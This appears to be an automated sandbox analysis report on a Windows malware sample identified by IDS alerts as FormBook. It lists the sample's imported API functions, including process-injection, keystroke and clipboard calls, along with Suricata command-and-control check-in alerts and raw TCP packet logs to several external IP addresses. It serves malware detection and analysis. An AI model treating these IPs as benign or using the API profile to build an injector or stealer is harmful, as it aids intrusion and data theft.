WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T09:22:55.944955+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49847	188.114.97.3	80	TCP
2024-11-20T09:22:55.944955+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	49847	188.114.97.3	80	TCP
2024-11-20T09:23:13.101182+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49961	23.167.152.41	80	TCP
2024-11-20T09:23:15.654759+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49977	23.167.152.41	80	TCP
2024-11-20T09:23:18.201777+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49978	23.167.152.41	80	TCP
2024-11-20T09:23:20.756097+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49979	23.167.152.41	80	TCP
2024-11-20T09:23:20.756097+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	49979	23.167.152.41	80	TCP
2024-11-20T09:23:26.444406+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49981	66.29.132.194	80	TCP
2024-11-20T09:23:28.978112+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49982	66.29.132.194	80	TCP
2024-11-20T09:23:31.531235+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49983	66.29.132.194	80	TCP
2024-11-20T09:23:34.156224+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49984	66.29.132.194	80	TCP
2024-11-20T09:23:34.156224+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	49984	66.29.132.194	80	TCP
2024-11-20T09:23:40.822235+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49985	202.92.5.23	80	TCP
2024-11-20T09:23:43.375631+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49986	202.92.5.23	80	TCP
2024-11-20T09:23:45.900366+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49987	202.92.5.23	80	TCP
2024-11-20T09:23:48.479087+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49988	202.92.5.23	80	TCP
2024-11-20T09:23:48.479087+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	49988	202.92.5.23	80	TCP
2024-11-20T09:23:54.162947+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49989	194.195.220.41	80	TCP
2024-11-20T09:23:56.721604+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49990	194.195.220.41	80	TCP
2024-11-20T09:23:59.262057+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49991	194.195.220.41	80	TCP
2024-11-20T09:24:01.854135+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49992	194.195.220.41	80	TCP
2024-11-20T09:24:01.854135+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	49992	194.195.220.41	80	TCP
2024-11-20T09:24:08.523389+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49993	103.230.159.86	80	TCP
2024-11-20T09:24:11.079279+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49994	103.230.159.86	80	TCP
2024-11-20T09:24:13.633467+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49995	103.230.159.86	80	TCP
2024-11-20T09:24:16.165792+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49996	103.230.159.86	80	TCP
2024-11-20T09:24:16.165792+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	49996	103.230.159.86	80	TCP
2024-11-20T09:24:21.911913+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49997	188.114.97.3	80	TCP
2024-11-20T09:24:24.418705+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49998	188.114.97.3	80	TCP
2024-11-20T09:24:26.987576+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49999	188.114.97.3	80	TCP
2024-11-20T09:24:29.562489+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	50000	188.114.97.3	80	TCP
2024-11-20T09:24:29.562489+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	50000	188.114.97.3	80	TCP
2024-11-20T09:24:35.861836+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50001	118.107.250.103	80	TCP
2024-11-20T09:24:38.486167+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50002	118.107.250.103	80	TCP
2024-11-20T09:24:41.033463+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50003	118.107.250.103	80	TCP
2024-11-20T09:24:43.602677+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	50004	118.107.250.103	80	TCP
2024-11-20T09:24:43.602677+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	50004	118.107.250.103	80	TCP
2024-11-20T09:24:49.431121+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50005	209.74.77.109	80	TCP
2024-11-20T09:24:51.957863+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50006	209.74.77.109	80	TCP
2024-11-20T09:24:54.511773+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50007	209.74.77.109	80	TCP
2024-11-20T09:24:57.083907+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	50008	209.74.77.109	80	TCP
2024-11-20T09:24:57.083907+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	50008	209.74.77.109	80	TCP
2024-11-20T09:25:02.842935+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50009	188.114.96.3	80	TCP
2024-11-20T09:25:05.415107+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50010	188.114.96.3	80	TCP
2024-11-20T09:25:07.927701+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50011	188.114.96.3	80	TCP
2024-11-20T09:25:10.505272+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	50012	188.114.96.3	80	TCP
2024-11-20T09:25:10.505272+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	50012	188.114.96.3	80	TCP
2024-11-20T09:25:17.778747+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50013	194.245.148.189	80	TCP
2024-11-20T09:25:20.321559+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50014	194.245.148.189	80	TCP
2024-11-20T09:25:22.867338+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50015	194.245.148.189	80	TCP
2024-11-20T09:25:25.416699+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	50016	194.245.148.189	80	TCP
2024-11-20T09:25:25.416699+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.10	50016	194.245.148.189	80	TCP
2024-11-20T09:25:31.061041+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50017	199.59.243.227	80	TCP
2024-11-20T09:25:33.612403+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50018	199.59.243.227	80	TCP
2024-11-20T09:25:37.379541+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	50019	199.59.243.227	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 09:22:54.615077019 CET	49847	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:22:54.622095108 CET	80	49847	188.114.97.3	192.168.2.10
Nov 20, 2024 09:22:54.622237921 CET	49847	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:22:54.631941080 CET	49847	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:22:54.636826992 CET	80	49847	188.114.97.3	192.168.2.10
Nov 20, 2024 09:22:55.944574118 CET	80	49847	188.114.97.3	192.168.2.10
Nov 20, 2024 09:22:55.944843054 CET	80	49847	188.114.97.3	192.168.2.10
Nov 20, 2024 09:22:55.944955111 CET	49847	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:22:55.945255995 CET	80	49847	188.114.97.3	192.168.2.10
Nov 20, 2024 09:22:55.945311069 CET	49847	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:22:55.948215961 CET	49847	80	192.168.2.10	188.114.97.3
Nov 20, 2024 09:22:55.954719067 CET	80	49847	188.114.97.3	192.168.2.10
Nov 20, 2024 09:23:12.734633923 CET	49961	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:12.744164944 CET	80	49961	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:12.744304895 CET	49961	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:12.760330915 CET	49961	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:12.765171051 CET	80	49961	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:13.100318909 CET	80	49961	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:13.101181984 CET	49961	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:14.270031929 CET	49961	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:14.276576042 CET	80	49961	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:15.288891077 CET	49977	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:15.296773911 CET	80	49977	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:15.298981905 CET	49977	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:15.314382076 CET	49977	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:15.321952105 CET	80	49977	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:15.654606104 CET	80	49977	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:15.654758930 CET	49977	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:16.817131042 CET	49977	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:16.822491884 CET	80	49977	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:17.835656881 CET	49978	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:17.842272043 CET	80	49978	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:17.842475891 CET	49978	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:17.856843948 CET	49978	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:17.861933947 CET	80	49978	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:17.861975908 CET	80	49978	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:18.201672077 CET	80	49978	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:18.201776981 CET	49978	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:19.363795042 CET	49978	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:19.368699074 CET	80	49978	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:20.383347988 CET	49979	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:20.388221025 CET	80	49979	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:20.388314962 CET	49979	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:20.397167921 CET	49979	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:20.405914068 CET	80	49979	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:20.755884886 CET	80	49979	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:20.756097078 CET	49979	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:20.756942034 CET	49979	80	192.168.2.10	23.167.152.41
Nov 20, 2024 09:23:20.764127970 CET	80	49979	23.167.152.41	192.168.2.10
Nov 20, 2024 09:23:25.815763950 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:25.820791960 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:25.820894957 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:25.835645914 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:25.840503931 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444169998 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444343090 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444375038 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444406033 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:26.444842100 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444876909 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444905996 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:26.444910049 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444953918 CET	80	49981	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:26.444966078 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:26.445008039 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:27.348275900 CET	49981	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:28.366799116 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:28.373056889 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.373162985 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:28.387253046 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:28.392962933 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.977950096 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.977981091 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.977999926 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.978111982 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:28.978677988 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.978702068 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.978751898 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:28.979187012 CET	80	49982	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:28.979240894 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:29.895893097 CET	49982	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:30.913681030 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:30.918812990 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:30.918991089 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:30.933165073 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:30.938560009 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:30.938618898 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.531133890 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.531155109 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.531167030 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.531234980 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:31.531411886 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.531425953 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.531455040 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:31.542376995 CET	80	49983	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:31.542467117 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:32.442009926 CET	49983	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:33.468003035 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:33.472996950 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:33.473159075 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:33.481877089 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:33.486809969 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156001091 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156147003 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156158924 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156188011 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156207085 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156219959 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156224012 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:34.156230927 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156255960 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:34.156364918 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:34.156420946 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156435013 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156447887 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:34.156464100 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:34.156500101 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:34.160979033 CET	49984	80	192.168.2.10	66.29.132.194
Nov 20, 2024 09:23:34.169207096 CET	80	49984	66.29.132.194	192.168.2.10
Nov 20, 2024 09:23:39.862950087 CET	49985	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:39.870692968 CET	80	49985	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:39.870795012 CET	49985	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:39.885498047 CET	49985	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:39.890651941 CET	80	49985	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:40.821815968 CET	80	49985	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:40.822134972 CET	80	49985	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:40.822235107 CET	49985	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:40.822622061 CET	80	49985	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:40.822714090 CET	49985	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:41.395184040 CET	49985	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:42.413764954 CET	49986	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:42.418922901 CET	80	49986	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:42.419028997 CET	49986	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:42.432723999 CET	49986	80	192.168.2.10	202.92.5.23
Nov 20, 2024 09:23:42.438982964 CET	80	49986	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:43.374948978 CET	80	49986	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:43.375422955 CET	80	49986	202.92.5.23	192.168.2.10
Nov 20, 2024 09:23:43.375437975 CET	80	49986	202.92.5.23	192.168.2.10
